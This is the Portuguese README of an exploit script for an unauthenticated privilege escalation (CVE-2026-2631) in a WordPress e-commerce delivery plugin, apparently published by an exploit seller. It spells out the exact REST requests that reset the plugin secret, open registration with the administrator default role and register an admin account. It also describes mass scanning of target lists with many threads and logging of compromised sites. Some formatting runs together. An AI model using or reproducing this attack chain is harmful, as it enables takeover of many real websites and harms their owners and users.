
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalação de Privilégios Não Autenticada
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalonamento de Privilégios Não Autenticado
PoC / Script de Exploit:
CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contato: Telegram:@Kxploit
< 2.6.60 (anteriores a esta versão)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HO plugin Datalogics Ecommerce Delivery – Datalogics expõe um endpoint não autenticado:
/wp-json/gsf/v1/update-options
Este script abusa desse endpoint para:
shop_secret usando a ação vulnerável resetStoreConfigrations.users_can_register = 1.administrator: default_role = administrator.wp-login.php?action=registerSe bem-sucedido, qualquer novo usuário criado pelo formulário de registro será um administrador.
shop_secret por meio do endpoint REST vulnerável.users_can_register = 1default_role = administratorrich (tabela colorida e atualizada em tempo real).Login_admin.txt.Instale os pacotes necessários:
pip install -r requirements.txt
Exemplo de requirements.txt:
requests
rich
urllib3
Ou instale manualmente:
pip install requests rich urllib3
Para cada alvo:
Normalizar URL
http:// seja adicionado caso esteja ausente.Redefinir shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyAtualizar Opções do WordPress
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, option_value = administratorwordpress option has been created or updated successfullyVerificar se o Registro Está Aberto
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedTentar Registrar Usuário
_wpnonce de um campo oculto, se presente.user_login, user_emailuser_pass/user_pass2 se os campos de senha existirem_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsRegistro (Logging)
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
list.txt (ou arquivo personalizado).N blocos usando chunkify.N threads de trabalho, cada uma processando sua própria lista de alvos.Queue compartilhada para mensagens de status para a thread de impressão.printer_loop) atualiza uma tabela rich ao vivo:
python3 CVE-2026-2631.py
Você receberá as seguintes solicitações interativas:
Arquivo de alvos
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogThreads
Threads (1-50) [10]:1050Valor do shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.Credenciais de registro
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:Essas credenciais serão usadas na tentativa de registro em cada alvo vulnerável.
Crie um list.txt (ou qualquer arquivo desejado) com um alvo por linha:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
O script irá:
http:// automaticamente se estiver ausente./ final.Todas as operações bem-sucedidas (mesmo se o registro de usuário falhar, mas as opções forem definidas) são gravadas em:
Login_admin.txt
Uma linha típica:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Exemplos de status na tabela ao vivo:
SUCCESS – opções definidas e/ou usuário registrado.FAILED – redefinição/opções falharam, vulnerabilidade não explorável.ERROR – Exceção, erros de rede, timeouts, etc.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
O script:
_wpnonce se presente.normalize_site(raw: str) -> str
Normaliza as URLs dos alvos.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Tenta a ação resetStoreConfigrations.